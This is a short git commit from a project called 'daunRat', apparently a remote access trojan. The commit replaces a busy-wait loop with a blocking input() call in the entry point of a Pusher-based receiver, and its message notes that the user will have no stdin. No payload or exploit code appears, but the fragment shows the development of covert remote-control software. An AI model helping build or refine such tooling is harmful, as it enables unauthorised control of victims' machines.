replaced while True with input

user won't have access to stdin, so it's safe, but doesn't use so much CPU
This commit is contained in:
BarsTiger
2022-05-18 16:30:40 +03:00
parent 4c775bf4b1
commit 6c5aedfde2

View File

@@ -74,5 +74,4 @@ if __name__ == '__main__':
print("daunRat by ANONYMUSSSS") print("daunRat by ANONYMUSSSS")
receiver.connection.bind('pusher:connection_established', handle_connection_to_server) receiver.connection.bind('pusher:connection_established', handle_connection_to_server)
receiver.connect() receiver.connect()
while True: input()
pass